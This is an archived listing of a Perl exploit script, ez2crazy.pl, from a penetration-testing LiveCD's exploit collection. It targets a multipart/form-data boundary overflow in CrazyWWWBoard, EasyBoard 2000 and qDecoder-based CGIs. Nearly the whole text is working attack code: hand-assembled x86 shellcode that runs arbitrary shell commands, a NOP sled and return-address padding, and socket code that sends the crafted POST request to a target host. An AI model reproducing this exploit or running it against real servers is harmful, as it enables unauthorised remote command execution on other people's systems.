home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / crazywwwboard / ez2crazy.pl < prev   
Perl Script  |  2005-02-12  |  4KB  |  121 lines

  1. #!/usr/bin/perl
  2. # ez2crazy.pl
  3. #
  4. # Remote Buffer Overflow x86 Linux Exploit for
  5. #    CrazyWWWBoard(http://www.crazywwwboard.com),
  6. #    EasyBoard 2000(http://ezboard.new21.org) and
  7. #    CGIs using qDecoder 4.0~5.0.8
  8. #
  9. # Excessive boundary delimiter string in the header
  10. # "Content-Type: multipart/form-data" permits the buffer overflow attack.
  11. #
  12. # Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11
  13.  
  14. $usage =
  15. "usage: ez2crazy.pl [options] CGI-URL\n
  16.   CGI-URL        URL of the target CGI
  17.   -c command     Bourne shell command
  18.                  Default: '/bin/echo 00ps, Crazy!;id'
  19.   -o offset      Offset of the egg shell code,
  20.                  Recommended [-300,+300]
  21.  
  22. example)
  23.   ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
  24.   ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
  25.   ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
  26.            target.com/cgi-bin/vulnerable.cgi
  27.  
  28. ";
  29.  
  30. use Getopt::Std;
  31. getopt('oc');
  32.  
  33. if ($#ARGV < 0) {
  34.     print $usage;
  35.     exit(0);
  36. };
  37.  
  38. $cgiurl = $ARGV[0];
  39. $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!;id";
  40. $offset = $opt_o ? $opt_o : 0;
  41.  
  42.  
  43. $cgiurl =~ s/http:\/\///;
  44. ($host, $cgiuri) = split(/\//, $cgiurl, 2);
  45. ($host, $port) = split(/:/, $host);
  46. $port = 80 unless $port;
  47.  
  48. $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
  49. $cmdlen = length($command);
  50.  
  51. $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
  52. $shellcode =
  53.   "\xeb\x37"                            # jmp 0x37
  54. . "\x5e"                                # popl %esi
  55. . "\x89\x76" . pack(C, $argvp)          # movl %esi,0xb(%esi)
  56. . "\x89\xf0"                            # movl %esi,%eax
  57. . "\x83\xc0\x08"                        # addl $0x8,%eax
  58. . "\x89\x46" . pack(C, $argvp + 4)      # movl %eax,0xb(%esi)
  59. . "\x89\xf0"                            # movl %esi,%eax
  60. . "\x83\xc0\x0b"                        # addl $0xb,%eax
  61. . "\x89\x46" . pack(C, $argvp + 8)      # movl %eax,0xb(%esi)
  62. . "\x31\xc0"                            # xorl %eax,%eax
  63. . "\x88\x46\x07"                        # movb %eax,0x7(%esi)
  64. . "\x4e"                                # dec %esi
  65. . "\x88\x46\x0b"                        # movb %eax,0xb(%esi)
  66. . "\x46"                                # inc %esi
  67. . "\x88\x46" . pack(C, 0x0b + $cmdlen)  # movb %eax,0xb(%esi)
  68. . "\x89\x46" . pack(C, $argvp + 12)     # movl %eax,0xb(%esi)
  69. . "\xb0\x0b"                            # movb $0xb,%al
  70. . "\x89\xf3"                            # movl %esi,%ebx
  71. . "\x8d\x4e" . pack(C, $argvp)          # leal 0xb(%esi),%ecx
  72. . "\x8d\x56" . pack(C, $argvp + 12)     # leal 0xb(%esi),%edx
  73. . "\xcd\x80"                            # int 0x80
  74. . "\x31\xdb"                            # xorl %ebx,%ebx
  75. . "\x89\xd8"                            # movl %ebx,%eax
  76. . "\x40"                                # inc %eax
  77. . "\xcd\x80"                            # int 0x80
  78. . "\xe8\xc4\xff\xff\xff"                # call -0x3c
  79. . "/bin/sh0-c0"                         # .string "/bin/sh0-c0"
  80. . $command;
  81.  
  82. $offset -= length($command) / 2 + length($host . $port . $cgiurl);
  83. $shelladdr = 0xbffffbd0 + $offset;
  84. $noplen = 242 - length($shellcode);
  85. $jump = $shelladdr + $noplen / 2;
  86. $entries = $shelladdr + 250;
  87. $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
  88.         . pack(V, $entries) x 2 . pack(V, $jump) x 2;
  89.  
  90. $content = substr($egg, 254) .
  91.   "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
  92. $contentlength = length($content);
  93.  
  94. $exploit =
  95. "POST /$cgiuri HTTP/1.0
  96. Connection: Keep-Alive
  97. User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
  98. Host: $host:$port
  99. Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
  100. Accept-Encoding: gzip
  101. Accept-Language: ko
  102. Accept-Charset: euc-kr,*,utf-8
  103. Content-type: multipart/form-data; boundary=$egg
  104. Content-length: $contentlength
  105.  
  106. $content
  107. ";
  108.  
  109. use Socket;
  110. $iaddr = inet_aton($host) or die("Error: $!\n");
  111. $paddr = sockaddr_in($port, $iaddr) or die("Error: $!\n");
  112. $proto = getprotobyname('tcp') or die("Error: $!\n");
  113.  
  114. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
  115. connect(SOCKET, $paddr) or die("Error: $!\n");
  116. send(SOCKET, $exploit, 0) or die("Error: $!\n");
  117. while (<SOCKET>) {
  118.     print;
  119. }
  120. close(SOCKET);
  121.